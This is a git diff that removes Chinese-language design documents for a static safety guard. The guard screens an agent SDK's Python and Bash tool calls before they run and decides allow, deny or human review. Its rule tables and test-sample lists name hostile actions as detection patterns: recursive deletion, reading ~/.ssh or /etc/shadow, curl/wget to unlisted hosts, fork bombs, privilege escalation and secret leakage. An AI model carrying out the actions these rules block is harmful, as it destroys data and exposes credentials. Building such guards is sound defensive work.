- -证据片段限制长度并脱敏。报告和审计事件不保存原始环境变量值、疑似 secret -值或完整私钥。 - -### 3.2 策略 - -`ToolSafetyPolicy` 从 YAML 加载并严格校验： - -```yaml -version: 1 -allowed_domains: - - api.example.com -allowed_commands: - - python - - pytest -forbidden_paths: - - ~/.ssh - - .env - - /etc/shadow -max_timeout_seconds: 300 -max_output_bytes: 1048576 -long_sleep_seconds: 60 -large_write_bytes: 10485760 -max_concurrency: 32 -``` - -域名匹配按规范化后的完整 host 或其子域匹配，防止 -`example.com.attacker.test` 绕过。路径同时检查 `~` 展开形式、POSIX/Windows -分隔符和规范化文本。非法或缺失策略 fail closed：构造 Guard 时抛出明确配置 -错误，不启动执行链。 - -### 3.3 规则实现 - -采用“小型 AST 扫描 + 预编译正则/`shlex` token”组合，复用标准库，不引入 -第三方安全扫描器。 - -| 类别 | 规则 | 默认结果 | -|---|---|---| -| 文件 | `FILE001` 递归删除、覆盖根/系统目录 | `deny` | -| 文件 | `FILE002` 访问策略禁止路径、`.env`、凭据/私钥文件 | `deny` | -| 网络 | `NET001` literal URL/host 不在白名单 | `deny` | -| 网络 | `NET002` requests/aiohttp/socket/curl/wget 使用动态目标 | `needs_human_review` | -| 进程 | `PROC001` `subprocess`、`os.system`、提权、后台进程 | `needs_human_review`；明确提权为 `deny` | -| 进程 | `PROC002` 管道、重定向、命令替换、命令拼接 | `needs_human_review` | -| 依赖 | `DEP001` pip/npm/apt 等安装或修改环境 | `needs_human_review`；提权安装为 `deny` | -| 资源 | `RES001` `while True`、fork bomb | `deny` | -| 资源 | `RES002` 超长 sleep、超大写入、大量并发 | `needs_human_review` | -| 泄漏 | `SECRET001` secret/private key 进入 print/log/file/network sink | `deny` | -| 策略 | `POLICY001` timeout/output 请求超过策略 | `needs_human_review` | - -Python： - -- 用 `ast.parse()` 识别 import、调用链、常量 URL/路径、`while True`、sleep、 - 并发构造和简单 secret-to-sink 关系。 -- 语法错误不猜测为安全：产生 `needs_human_review`。 -- 同时运行通用文本规则，覆盖 Python 内嵌 shell。 - -Bash： - -- 使用 `shlex` 提取基础命令；正则识别管道、重定向、后台、命令替换、 - fork bomb、危险路径、URL 和安装命令。 -- `allowed_commands` 只降低“命令本身”的风险，不能覆盖危险参数、禁止路径、 - 非白名单网络和泄漏规则。 - -聚合优先级：`deny > needs_human_review > allow`；风险等级取最高值。无命中时 -为 `allow/none`。规则对象保持无状态，Guard 在构造时编译一次规则，满足 -500 行脚本单次扫描小于 1 秒目标。 - -### 3.4 Filter 接入 - -`ToolSafetyFilter`： - -1. 从 `get_tool_var()` 读取 tool 元数据。 -2. 从 args 的 `command`、`code` 或 `script` 提取内容；无可扫描字段时允许， - 但仍不声称已扫描脚本。 -3. 从 args 提取 `cwd`、`env`、`timeout`/`timeout_sec`、`argv`。 -4. 调用 Guard、写审计、写 span attributes。 -5. `deny` 和 `needs_human_review` 设置 `rsp.rsp` 为报告字典并停止 Filter 链。 - -接入示例使用现有 API： - -```python -guard_filter = ToolSafetyFilter.from_policy("tool_safety_policy.yaml") -bash_tool = BashTool(cwd=workspace) -bash_tool.add_one_filter(guard_filter) -``` - -不修改 `BashTool`、`SkillExecTool`、`WorkspaceExecTool` 构造函数。它们都继承 -`BaseTool`，可复用同一 Filter。CodeExecutor 不继承 `BaseTool`；文档给出在 -调用 `execute_code()` 前将 `CodeExecutionInput` 转换成 `ScriptScanRequest` -的显式示例，首版不侵入其抽象接口。 - -### 3.5 审计与 Telemetry - -`JsonlAuditSink` 每次扫描追加一行 UTF-8 JSON；单事件一次写入，写入失败记录 -错误但不改变既有安全决策。事件不含原始脚本和 env 值。 - -当前 span 写入： - -- `tool.safety.decision` -- `tool.safety.risk_level` -- `tool.safety.rule_id`：排序、逗号连接 -- `tool.safety.duration_ms` -- `tool.safety.redacted` -- `tool.safety.execution_blocked` - -无有效 span 时 OpenTelemetry API 为 no-op，不需要功能开关。 - -CLI `scripts/tool_safety_check.py` 支持扫描单文件或命令文本，加载 YAML， -将完整报告输出到 stdout 或指定 JSON 文件，并可选写 JSONL 审计。 - -## 4. 测试与验收 - -公开样本至少 12 个： - -1. 安全 Python。 -2. 危险递归删除。 -3. 读取 `~/.ssh`/凭据。 -4. 非白名单网络请求。 -5. 白名单网络请求。 -6. `subprocess` 调用。 -7. shell 注入/命令拼接。 -8. 依赖安装。 -9. 无限循环。 -10. 敏感信息输出。 -11. Bash 管道。 -12. 动态网络目标，进入人工复核。 - -单元测试分层： - -- policy：YAML 校验、策略热修改效果、域名边界、路径规范化。 -- Python/Bash scanner：六类风险、聚合优先级、语法错误、证据脱敏。 -- Filter：allow 时 handler 被调用；deny/review 时 handler 未调用且审计仅一条。 -- audit/telemetry：必需字段、JSONL、脱敏和 span attributes。 -- CLI/examples：12 个样本均可扫描并生成合法报告。 -- 性能：预生成 500 行脚本，扫描耗时小于 1 秒。 -- 指标集：危险样本检出率、安全样本误报率以及三类 100% 检出率显式断言。 - -目标新增模块语句覆盖率 `>=90%`，硬门槛 `>=85%`。验收命令： - -```bash -pytest tests/tools/safety \ - --cov=trpc_agent_sdk.tools.safety \ - --cov-report=term-missing \ - --cov-fail-under=90 -pytest tests/tools/safety -yapf --diff <新增和修改的 Python 文件> -flake8 <新增和修改的 Python 文件> -``` - -Python 没有 Go/Rust 等语言的数据竞争检测器。这里的 `race` 验收定义为并发 -扫描/并发 JSONL 写入测试；若环境提供 `pytest-run-parallel` 等工具再补充， -不擅自新增开发依赖。 - -## 5. 分阶段实现与 review 关卡 - -### 阶段 0：基线与契约 - -- 固化公开样本、预期 decision、报告 JSON schema 和策略示例。 -- 建立检出率、误报率、性能测试。 -- 关卡 R0：subagent reviewer 检查需求映射、是否过度设计、文件边界。 - -### 阶段 1：模型、策略、扫描器 - -- 实现模型、YAML 加载、规则注册、Python/Bash 扫描和聚合。 -- 跑 scanner/policy 测试、覆盖率、性能测试。 -- 关卡 R1：subagent reviewer 检查漏检/绕过、规则冲突、复杂度和脱敏。 - -### 阶段 2：Filter、审计、Telemetry - -- 实现 `ToolSafetyFilter`、JSONL sink、span attributes。 -- 验证 deny/review 在 handler 前阻断，allow 继续执行。 -- 关卡 R2：subagent reviewer 检查执行顺序、fail-closed、错误处理和并发写入。 - -### 阶段 3：CLI、示例、文档 - -- 加入 CLI、策略、12 样本、报告和审计示例、接入说明与已知限制。 -- 跑目标测试、覆盖率、并发测试、fmt、lint。 -- 关卡 R3：subagent reviewer 对最终 diff 和验收证据做独立 review；修复后复跑。 - -每个函数遵守函数体不超过 80 行/60 语句、圈复杂度不超过 15、参数不超过 -4 个；每文件不超过 1000 行；阈值全部使用命名常量或策略字段。使用 -`radon` 仅在环境已有时检查圈复杂度，否则通过小函数拆分和 review 控制， -不为此增加运行时依赖。 - -## 6. 预计文件路径 - -新增： - -- `trpc_agent_sdk/tools/safety/__init__.py` -- `trpc_agent_sdk/tools/safety/_models.py` -- `trpc_agent_sdk/tools/safety/_sanitizer.py` -- `trpc_agent_sdk/tools/safety/_common_rules.py` -- `trpc_agent_sdk/tools/safety/_python_rules.py` -- `trpc_agent_sdk/tools/safety/_bash_rules.py` -- `trpc_agent_sdk/tools/safety/_scanner.py` -- `trpc_agent_sdk/tools/safety/_audit.py` -- `trpc_agent_sdk/tools/safety/_integration.py` -- `trpc_agent_sdk/tools/safety/_cli.py` -- `scripts/tool_safety_check.py` -- `examples/tool_safety_guard/README.md` -- `examples/tool_safety_guard/tool_safety_policy.yaml` -- `examples/tool_safety_guard/samples/` 下至少 12 个 `.py`/`.sh` 样本 -- `examples/tool_safety_guard/tool_safety_report.json` -- `examples/tool_safety_guard/tool_safety_audit.jsonl` -- `tests/tools/safety/test_policy.py` -- `tests/tools/safety/test_scanner.py` -- `tests/tools/safety/test_filter.py` -- `tests/tools/safety/test_audit.py` -- `tests/tools/safety/test_cli_and_acceptance.py` - -可能修改： - -- `trpc_agent_sdk/tools/__init__.py`：仅在项目惯例要求顶层导出 Safety API 时修改。 -- `docs/design/tool-script-safety-guard-design.md`：终版设计与 review 结论。 - -明确不改： - -- `trpc_agent_sdk/tools/_base_tool.py` -- `trpc_agent_sdk/filter/_base_filter.py` -- `trpc_agent_sdk/code_executors/_base_code_executor.py` -- 现有 Tool/Skill/CodeExecutor 执行实现 - -## 7. 主要风险 - -- 静态规则可被字符串拼接、反射、编码和动态下载绕过。 -- 简单 secret taint 只覆盖直接赋值和常见 sink，存在漏报；过宽关键词会误报。 -- Bash 语法复杂，`shlex` 不是完整 parser；复杂构造进入人工复核。 -- 审计文件不是防篡改存储；生产环境应转发集中日志系统。 -- Filter 仅保护明确挂载它的 Tool；部署文档必须要求对所有执行型 Tool 注入。 -- Guard 不能限制已获准脚本的真实 CPU、内存、进程、网络和输出，仍需沙箱。 diff --git a/docs/design/tool-script-safety-guard-design.md b/docs/design/tool-script-safety-guard-design.md deleted file mode 100644 index 73819756a..000000000 --- a/docs/design/tool-script-safety-guard-design.md +++ /dev/null @@ -1,550 +0,0 @@ -# Tool Script Safety Guard 终版设计 - -## 1. 目标与非目标 - -在执行型 Tool 真正运行 Python 脚本或 Bash 命令前，通过现有 Tool Filter -完成静态扫描和策略判断，输出 `allow`、`deny`、`needs_human_review`，并生成 -结构化报告、JSONL 审计事件和 OpenTelemetry attributes。 - -目标： - -- 输入覆盖脚本内容、argv、cwd、env、tool 元数据、timeout 和输出上限。 -- 覆盖危险文件、网络外连、进程/系统命令、依赖安装、资源滥用和敏感信息泄漏。 -- Python 和 Bash 使用同一报告、决策、策略和审计协议。 -- 策略 YAML 修改后，无需改代码即可改变白名单域名、允许命令、禁止路径和限额。 -- `deny` 与未获人工批准的 `needs_human_review` 都在 handler 前阻断。 -- 新增模块语句覆盖率不低于 90%，硬门槛 85%。 - -非目标： - -- 不实现完整 shell parser、跨过程数据流分析或自动审批服务。 -- 不替代容器、用户权限、文件系统/网络隔离、seccomp 或运行时资源配额。 -- 不承诺检测动态下载代码、反射、编码混淆、符号链接跳转和未知解释器漏洞。 - -Guard 提供静态防线和审计证据；沙箱负责执行期强制边界。两者必须同时使用。 - -## 2. 仓库复用点 - -- `trpc_agent_sdk/tools/_base_tool.py`：`BaseTool.run_async()` 已在 - `_run_async_impl()` 前执行 Tool Filter。 -- `trpc_agent_sdk/filter/_base_filter.py`：`BaseFilter._before()` 可通过 - `FilterResult.is_continue = False` 阻断 handler，`_after()` 可处理返回值。 -- `trpc_agent_sdk/tools/_context_var.py`：Filter 可通过 `get_tool_var()` 取得 - 当前 tool。 -- `trpc_agent_sdk/telemetry/_trace.py`：复用 OpenTelemetry 当前 span。 -- Pydantic、PyYAML、项目 logger 均已是现有依赖。 - -因此不修改 `BaseTool`、`FilterRunner`、现有 Tool 或 CodeExecutor 抽象。 -Guard 以 Filter 接入 Tool，以显式 wrapper 和 adapter 接入 -`CodeExecutionInput`。调用方应把安全 Filter 配置在所有参数改写 Filter -之后，使其成为执行前最后一道检查；否则后续参数改写仍可能形成 TOCTOU 绕过。 - -## 3. 请求处理与执行流 - -```text -User request - -> Runner 调用模型 - -> 模型生成 Tool function_call / executable code - -> 按入口路由 - Tool / Skill / MCP Tool -> BaseTool.run_async() - -> 普通 filters/callbacks - -> ToolSafetyFilter（handler 前最后执行） - CodeExecutor -> SafetyGuardedCodeExecutor.execute_code() - -> adapter 提取 command/code/script、argv、cwd、env keys、timeout、tool metadata - -> 规范化 ScriptScanRequest（含嵌套解释器和多个 code block） - -> Python AST + Bash/common rules + policy constraints - -> evidence 先脱敏、后截断 - -> 按 deny > needs_human_review > allow 聚合 SafetyReport - -> 必须写 audit event；尽力写 span attributes - -> 决策分支 - allow -> 注入有效 timeout -> 真正 handler/executor - -> 限制 output bytes -> Tool result 返回模型 - review -> handler 不运行 -> 结构化报告返回模型 - deny -> handler 不运行 -> 结构化报告返回模型 - audit failure -> handler 不运行 - -> Tool Filter 返回 TOOL_SAFETY_AUDIT_FAILED - -> CodeExecutor wrapper 抛出脱敏 SafetyAuditError -``` - -`needs_human_review` 表示需要外部批准。本交付不实现审批服务，故默认阻断并返回 -报告。调用方批准后可用新的、可审计请求重试；不能原地静默放行。 - -### 3.1 各入口的实际调用位置 - -| 入口 | 模型看到的能力 | Guard 位置 | allow 后真正执行 | -|---|---|---|---| -| Tool | `Bash` 等 Tool | `BaseTool.run_async()` 的最终前置 Filter | `_run_async_impl()` | -| Skill | `skill_run`、`skill_exec`、`workspace_exec` | 对执行型 Skill Tool 挂载同一 Filter | workspace runtime | -| MCP Tool | MCP 暴露的 `execute_command`/`execute_code`/`run_script` | `MCPToolset(filters=[...])` 传给每个 MCP Tool | `session.call_tool()` | -| CodeExecutor | `CodeExecutionInput` | `SafetyGuardedCodeExecutor` 组合 wrapper | delegate executor | - -非执行型 Tool 不应盲目挂载 Guard。MCP Tool 名称必须使用已注册的执行协议 -（`execute_command`、`execute_code`、`run_script`），否则 adapter 将其视为 -不适用，避免仅凭存在 `command` 字段误判普通业务 Tool。 - -### 3.2 不同危险程度的处理结果 - -风险等级和决策是两个字段，不能只按等级硬编码。每条规则同时声明 risk level -和 decision，最终 decision 按 `deny > needs_human_review > allow` 聚合。 - -| 情况 | 典型命令 | 报告 | handler 是否运行 | 返回 Agent 的结果 | -|---|---|---|---|---| -| 无风险命中 | `echo safety-ok` | `allow/none` | 是 | 真实 stdout/result | -| 不确定或中风险 | `echo ok \| cat`、`pip install x` | `needs_human_review/medium` | 否 | 含 rule id、evidence、recommendation 的报告 | -| 明确高危 | `rm -rf safety-demo-trash`、读取 `~/.ssh` | `deny/high|critical` | 否 | 结构化拒绝报告 | -| 多规则混合 | 同时命中 review 和 deny | 最高风险；decision=`deny` | 否 | 合并去重后的 findings | -| 扫描/适配异常 | 非法输入、解析失败 | fail-closed 报告 | 否 | 脱敏错误摘要 | -| 审计失败 | audit sink 不可写 | fail closed | 否 | Tool 返回 `TOOL_SAFETY_AUDIT_FAILED`；CodeExecutor 抛脱敏异常 | -| allow 后超时 | 合法但执行超过 deadline | 原扫描为 allow | 已启动，随后取消 | Tool 使用注入的 timeout；CodeExecutor wrapper 返回超时结果 | -| allow 后业务失败 | 合法命令返回非零 | 原扫描为 allow | 是 | 原业务错误语义，output 仍受限额 | - -`needs_human_review` 当前没有内置“批准后继续”开关。审批系统应保存原报告和审批 -人，生成新的审计请求后重试；不能修改当前 `FilterResult` 原地绕过。 - -## 4. 数据契约 - -使用 Pydantic 模型： - -- `SafetyDecision`：`allow | deny | needs_human_review`。 -- `RiskLevel`：`none | low | medium | high | critical`。 -- `RiskCategory`：`file | network | process | dependency | resource | - secret | policy`。 -- `ScriptLanguage`：`python | bash`。 -- `ToolMetadata`：name、description、可选 tags。 -- `ScriptPayload`：language、content、source、argv、stdin。 -- `ScriptScanRequest`：payloads、cwd、可选 `execution_home`/`execution_root`、 - env keys、metadata、requested/effective timeout、max output。 -- `SafetyFinding`：category、risk level、rule id、evidence、recommendation、 - decision。 -- `SafetyReport`：decision、risk level、findings、duration、redacted、 - security summary、limits。 -- `SafetyAuditEvent`：tool name、decision、risk level、rule ids、耗时、 - redacted、execution blocked、timestamp。 - -聚合优先级为 `deny > needs_human_review > allow`，风险等级取最高值。无命中时 -为 `allow/none`。 - -所有证据和错误走同一 `SafetySanitizer`： - -1. env 只保留 key，永不复制 value。 -2. 私钥块整体替换为 `[REDACTED_PRIVATE_KEY]`。 -3. token、password、API key、Authorization 值替换为固定占位符。 -4. argv、脚本文本、Pydantic 错误、日志、report、audit、telemetry 共用规则。 -5. 先脱敏再按命名常量截断，禁止截断后残留 secret 片段。 - -## 5. 输入适配与绕过防护 - -定义小型 `SafetyInputAdapter` 协议和注册表，不在 Filter 中堆积 tool 特判。 - -内置适配器： - -- `BashTool`：`command`、`cwd`、`timeout`。 -- `WorkspaceExecTool`：`command`、`cwd`、`env`、`stdin`、`timeout_sec`。 -- `SkillRunTool`：`command`、`cwd`、`env`、`stdin`、`timeout`。 -- `SkillExecTool`：`command`、`cwd`、`env`、`stdin`、`timeout`。 -- `CodeExecutionInput`：扫描 `code` 和每个 `code_blocks`，保留各自 language。 -- CLI：文件内容或命令文本、argv、cwd、env key 和 tool metadata。 - -递归提取： - -- 对 `python -c CODE`、`bash -c COMMAND`、`sh -c COMMAND` 再生成嵌套 payload。 -- 解释器从 stdin 执行时扫描 stdin。 -- argv、cwd、env key 即使无脚本文本也执行通用路径/secret/策略检查。 -- 只给出脚本文件路径但无法从目标执行环境读取内容时，返回 - `needs_human_review`；Filter 不擅自读取宿主同名文件。 -- adapter 仅在执行实现能提供可靠值时设置 `execution_home`/`execution_root`： - 本地 Tool 使用其明确配置，workspace/远端执行器使用 runtime metadata。 - 无可靠值时保持 `None`，依赖 home/root 才能判定的路径进入人工复核。 -- 已知执行型 Tool 无法提取有效 payload 时返回 `needs_human_review`，不默认 - allow。 -- Filter 挂到非执行型 Tool 时返回 `not_applicable/allow`；报告明确“未扫描 - 脚本”，不能记为安全脚本。 - -`ToolSafetyFilter.__init__()` 显式调用父类初始化，并设置 -`FilterType.TOOL`/稳定 name，保证 `add_one_filter()` 去重语义正确。 - -## 6. 策略语义 - -示例： - -```yaml -version: 1 -allowed_domains: - - api.example.com -allowed_commands: - - python - - pytest -forbidden_paths: - - ~/.ssh - - .env - - /etc/shadow -max_timeout_seconds: 300 -max_output_bytes: 1048576 -long_sleep_seconds: 60 -large_write_bytes: 10485760 -max_concurrency: 32 -``` - -加载失败、未知 version、非法类型、非正阈值均在 Guard 构造时抛出脱敏配置错误， -执行链不启动。 - -### 6.1 域名 - -- 用 `urllib.parse` 解析并规范化 host，移除尾点、转小写。 -- host 必须精确等于白名单项，或以 `.` + 白名单项结尾。 -- `example.com.attacker.test` 不匹配 `example.com`。 -- IP literal 必须在白名单显式声明。 -- 动态目标、无法解析目标进入 `needs_human_review`。 - -### 6.2 命令 - -- 取规范化 basename，拒绝空命令、NUL 和路径伪装。 -- Bash 管道/连接符的每一段分别校验；`sudo`、嵌套 `sh -c`、`python -c` - 递归校验。 -- Python `subprocess` literal argv 使用同一校验；动态 argv 进入人工复核。 -- 不在 `allowed_commands` 的命令默认为 `needs_human_review`；提权、fork bomb - 等独立高危规则仍为 `deny`。 -- 命令在允许列表只豁免“命令身份”，不豁免危险参数、禁止路径、网络、安装、 - secret 和资源规则。 - -因此修改 `allowed_commands` 会直接改变命令身份规则结果，满足策略驱动要求。 - -### 6.3 路径 - -- 使用请求 cwd 和 adapter 提供的目标执行环境 home/root 做词法解析，不使用 - 扫描宿主机的 `Path.expanduser()`。 -- 处理 `..`、`.`、POSIX/Windows 分隔符、驱动器和 Windows 大小写。 -- 动态路径进入人工复核。 -- 符号链接真实目标只能由运行时/沙箱校验；静态 Guard 在文档和报告中明确该 - 限制。 - -### 6.4 timeout 与 output - -- adapter 根据具体 Tool 语义计算有效 timeout。 -- 缺省、`0`、负值或无限值统一改为策略 `max_timeout_seconds`；显式超限值产生 - `POLICY001/needs_human_review`，未批准不执行。 -- allow 时 Filter 将有效 timeout 写回对应 Tool args，由 Tool 自身执行超时； - `SafetyGuardedCodeExecutor` 使用 `asyncio.wait_for` 对 delegate 应用协作式 - deadline。 - 不响应取消的第三方代码仍需由进程/容器硬终止，Guard 不作硬实时保证。 -- `max_output_bytes` 限制报告/audit evidence 和 Tool 返回给 Agent 的 - stdout/stderr/output；`_after()` 按 UTF-8 bytes 安全截断并标记 - `truncated=true`。 -- 该输出限制不能阻止子进程在被读取前产生大量内核输出或占用内存。真实执行期 - stdout 配额必须由容器/runner 实现；Guard 不作虚假保证。 - -## 7. 扫描规则 - -### 7.1 Python - -使用 `ast.parse()`，建立最低限度的 import alias、`from ... import ...` -alias 和模块/调用名映射。折叠字符串常量、相邻字面量和简单常量拼接。无法解析 -的动态调用/目标进入人工复核。通用文本规则补充 Python 内嵌 shell。 - -### 7.2 Bash - -使用 `shlex` 处理基础 token，预编译正则识别管道、重定向、后台、命令替换、 -危险路径、URL、安装命令和 fork bomb。`sh -c`、`bash -c`、`python -c` -递归扫描，并设置最大递归深度命名常量，超深进入人工复核。 - -### 7.3 默认规则 - -| 类别 | Rule ID | 命中 | 默认结果 | -|---|---|---|---| -| 文件 | `FILE001` | 递归删除、覆盖根/系统目录 | `deny` | -| 文件 | `FILE002` | 禁止路径、`.env`、凭据/私钥文件 | `deny` | -| 网络 | `NET001` | literal host 不在白名单 | `deny` | -| 网络 | `NET002` | requests/aiohttp/socket/curl/wget 动态目标 | `needs_human_review` | -| 进程 | `PROC001` | subprocess/os.system/后台进程 | `needs_human_review` | -| 进程 | `PROC002` | 提权、明确 shell injection | `deny` | -| 依赖 | `DEP001` | pip/npm/apt 等安装 | `needs_human_review`；提权安装为 `deny` | -| 资源 | `RES001` | `while True`、fork bomb | `deny` | -| 资源 | `RES002` | 超长 sleep、超大写入、大量并发 | `needs_human_review` | -| 泄漏 | `SECRET001` | secret/private key 进入 log/file/network sink | `deny` | -| 策略 | `POLICY001` | timeout/output/命令违反策略 | `needs_human_review` | - -规则对象无状态，在 Guard 构造时编译一次。扫描过程只做线性 AST 遍历和有界 -递归，目标是 500 行单脚本小于 1 秒。 - -## 8. Filter、审计与 Telemetry - -`ToolSafetyFilter._before()`： - -1. 获取 tool 和适配器。 -2. 构造、扫描请求。 -3. 写 audit。 -4. 写 span attributes。 -5. deny/review 时设置报告并停止；allow 时注入 timeout 并继续。 - -`ToolSafetyFilter._after()` 限制返回 payload 大小，不改变 handler 的业务错误 -语义。 - -接入： - -```python -guard_filter = ToolSafetyFilter.from_policy( - "tool_safety_policy.yaml", - CompositeAuditSink( - JsonlAuditSink("tool_safety_audit.jsonl"), - LoggingAuditSink(), - ), -) -bash_tool = BashTool(cwd=workspace) -bash_tool.add_one_filter(guard_filter) -``` - -CodeExecutor 不继承 `BaseTool`，使用组合式 `SafetyGuardedCodeExecutor`，不允许 -调用方手工漏掉安全步骤： - -```python -executor = SafetyGuardedCodeExecutor( - delegate=unsafe_executor, - guard=guard, - audit_sink=audit_sink, -) -result = await executor.execute_code(invocation_context, code_execution_input) -``` - -wrapper 复用 `CodeExecutionInput` adapter，并在单一入口内完成扫描、audit -fail-closed、deny/review 阻断、`asyncio.wait_for()` wall-clock timeout 和 -`CodeExecutionResult` stdout/stderr 截断。取消异步调用不保证底层进程必然退出； -生产 executor 仍必须实现进程终止和运行时资源隔离。 - -### 8.1 审计 - -- enforcement Filter 必须配置 audit sink；CLI 可显式关闭审计用于纯离线扫描。 -- `JsonlAuditSink` 使用进程内锁保护 append，单条完成后 flush；POSIX 上每次 - 打开均强制文件权限为 `0600`。 -- 使用 `CompositeAuditSink` 时，primary sink 写失败会尝试配置的 fallback； - 示例 fallback 为结构化 logger。裸 `JsonlAuditSink` 不会自动 fallback。 - 降级事件把 allow 提升为 `needs_human_review` 并阻断，原 deny/review 继续阻断。 -- 两个 sink 都失败仍 fail closed，返回脱敏错误。无法在存储全故障时承诺日志 - 已落盘，但绝不无审计地执行。 -- `emit_report` 串行调用自定义 sink；进程内 coroutine/thread 并发由锁测试 - 覆盖。多进程部署应使用外部集中 sink，不宣称普通 JSONL 文件具备跨进程原子 - 保证。 - -事件至少包含 tool name、decision、risk level、排序后的 rule ids、duration、 -redacted、execution blocked 和 timestamp，不保存原脚本或 env value。 - -### 8.2 Telemetry - -当前 span 写入： - -- `tool.safety.decision` -- `tool.safety.risk_level` -- `tool.safety.rule_id` -- `tool.safety.duration_ms` -- `tool.safety.redacted` -- `tool.safety.execution_blocked` - -Telemetry 是可降级观测通道；无有效 span 或 attribute 写入失败只记脱敏 debug， -不能泄漏数据，也不能把 deny 改为 allow。 - -## 9. CLI、样本与文档 - -SDK 内 `_cli.py` 承担可测试 CLI 逻辑，`scripts/tool_safety_check.py` 仅做薄入口。 -CLI 支持文件或命令文本、language、policy、report 路径、audit 路径、cwd、 -argv/env key/tool metadata。 - -`examples/tool_safety_guard/manifest.yaml` 记录每个公开样本的 expected decision、 -category 和是否计入安全/危险统计。公开样本严格保留题目要求的 12 个： - -- 安全 Python、白名单网络请求。 -- 危险删除、读取密钥、非白名单网络。 -- subprocess、shell injection、依赖安装、无限循环、敏感信息输出。 -- Bash 管道和动态网络人工复核。 - -验收计算 `false_positive / safe_total <= 10%`、总危险检出率 -`detected_dangerous / dangerous_total >= 90%`，并单独断言危险删除、读取密钥、 -非白名单网络 100% 检出。import alias、常量拼接、嵌套解释器、stdin、相对路径 -等额外绕过变体放在单元测试中，不增加公开交付样本。 - -### 9.1 真实模型执行示例 - -`examples/tool_safety_guard/real_agent.py` 构建一个真实 `LlmAgent`，同时注册： - -- 带 `ToolSafetyFilter` 的 `BashTool`； -- 带 Filter wrapper 的本地 `SkillToolSet`； -- 带 Filter 的本地 stdio `MCPToolset`； -- 包装 `UnsafeLocalCodeExecutor` 的 `SafetyGuardedCodeExecutor`。 - -本地 `mcp_server.py` 暴露真正执行 shell 的 `execute_command`。示例提供四个入口 -各三种场景，共 12 个模型请求。review/deny 使用即使 Guard 失效也只影响示例 -目录的命令；该措施只降低演示风险，不替代生产沙箱。 - -```bash -export TRPC_AGENT_API_KEY='' -export TRPC_AGENT_BASE_URL='https://api.deepseek.com' -export TRPC_AGENT_MODEL_NAME='deepseek-v4-flash' - -python examples/tool_safety_guard/real_agent.py --list-scenarios -python examples/tool_safety_guard/real_agent.py all -python examples/tool_safety_guard/real_agent.py tool-allow -python examples/tool_safety_guard/real_agent.py tool-review -python examples/tool_safety_guard/real_agent.py tool-deny -``` - -终端打印模型发出的 `CALL` 和框架返回的 `RESULT`；完整结构化安全决策写入 -`real_agent_audit.jsonl`。模型可能违反提示，因此验收以实际 `CALL`、`RESULT` -和 audit 三者为准，不能只看最终自然语言回答。 - -## 10. 测试与验收 - -测试层： - -- policy：配置校验、修改生效、域名边界、命令与路径规范化。 -- adapters：四类入口、多个 code block、嵌套解释器、stdin、无法提取 payload。 -- rules/scanner：六类风险、alias/常量折叠、动态输入、聚合、脱敏、递归上限。 -- Filter：allow 调 handler；deny/review/audit failure 不调 handler；timeout - 注入；output 截断。 -- audit/telemetry：字段、fallback、原 secret 不出现在任一序列化路径。 -- concurrency：并发扫描、单进程 JSONL 写入不交错，自定义 sink 回调不重叠。 -- acceptance：manifest 统计、12 类必需样本、500 行脚本小于 1 秒。 -- quality constraints：AST 检查函数体行数、语句数、参数数和文件行数。 - -验收命令： - -```bash -# 新增模块覆盖率（CLI 逻辑位于包内，纳入统计） -pytest tests/tools/safety \ - --cov=trpc_agent_sdk/tools/safety \ - --cov-report=term-missing \ - --cov-fail-under=90 - -# Python 无通用 race detector；以明确的并发安全测试替代 -pytest tests/tools/safety/test_concurrency.py -q - -# 直接受影响模块回归 -pytest tests/filter tests/file_tools/test_bash_tool.py \ - tests/code_executors/test_base_code_executor.py \ - tests/code_executors/test_types.py \ - tests/code_executors/test_local_unsafe_local_code_executor.py \ - tests/code_executors/local tests/telemetry/test_trace.py - -# 格式与 lint；changed_py_files 为相对 main 的新增/修改 Python 文件 -yapf --diff ${changed_py_files} -flake8 --max-complexity=15 ${changed_py_files} -``` - -如环境缺少 `pytest-cov`、YAPF、flake8，必须安装 -`requirements-test.txt`/项目 dev 依赖后验收，不能把缺失工具当作通过。 - -质量硬约束： - -- 函数体不超过 80 行、60 个 AST statement。 -- 圈复杂度不超过 15。 -- 参数不超过 4 个（`self`/`cls` 是否计入由质量测试固定并写明；按用户要求保守 - 计入）。 -- 文件不超过 1000 行。 -- 所有阈值使用命名常量或 policy 字段。 - -## 11. 分阶段实现与 subagent review 关卡 - -### 阶段 0：契约和样本 - -- 建立模型 schema、策略、manifest、统计公式和性能基线。 -- R0：subagent reviewer 检查需求映射、样本代表性、非目标和文件边界。 - -### 阶段 1：adapter、模型、策略、sanitizer - -- 实现所有输入入口、有效 timeout、路径上下文和统一脱敏。 -- R1：subagent reviewer 专查未扫描载荷、secret 泄漏、fail-open。 - -### 阶段 2：Python/Bash/common rules - -- 实现 alias、常量折叠、嵌套解释器和聚合。 -- 跑检出率、误报率、性能与覆盖率。 -- R2：subagent reviewer 专查绕过、规则冲突、复杂度和策略修改效果。 - -### 阶段 3：Filter、CodeExecutor wrapper、audit、telemetry - -- 实现执行前阻断、timeout 注入、output 截断、CodeExecutor 统一安全入口、 - 审计 fallback。 -- R3：subagent reviewer 检查 handler 顺序、audit fail-closed、并发和错误边界。 - -### 阶段 4：CLI、示例、目标验收 - -- 生成报告/audit 示例，完成接入和限制文档。 -- 跑新增模块 coverage、concurrency、直接受影响模块 pytest、YAPF、flake8。 -- R4：subagent reviewer 独立 review 最终 diff 和验收证据；修复后完整复跑。 - -## 12. 预计文件路径 - -新增 SDK： - -- `trpc_agent_sdk/tools/safety/__init__.py` -- `trpc_agent_sdk/tools/safety/_models.py` -- `trpc_agent_sdk/tools/safety/_sanitizer.py` -- `trpc_agent_sdk/tools/safety/_python_rules.py` -- `trpc_agent_sdk/tools/safety/_bash_rules.py` -- `trpc_agent_sdk/tools/safety/_common_rules.py` -- `trpc_agent_sdk/tools/safety/_scanner.py` -- `trpc_agent_sdk/tools/safety/_audit.py` -- `trpc_agent_sdk/tools/safety/_integration.py` -- `trpc_agent_sdk/tools/safety/_cli.py` - -新增 CLI/示例： - -- `scripts/tool_safety_check.py` -- `examples/tool_safety_guard/README.md` -- `examples/tool_safety_guard/tool_safety_policy.yaml` -- `examples/tool_safety_guard/manifest.yaml` -- `examples/tool_safety_guard/samples/` 下公开 `.py`/`.sh` 样本 -- `examples/tool_safety_guard/tool_safety_report.json` -- `examples/tool_safety_guard/tool_safety_audit.jsonl` -- `examples/tool_safety_guard/real_agent.py` -- `examples/tool_safety_guard/mcp_server.py` -- `examples/tool_safety_guard/skills/safety-demo/SKILL.md` - 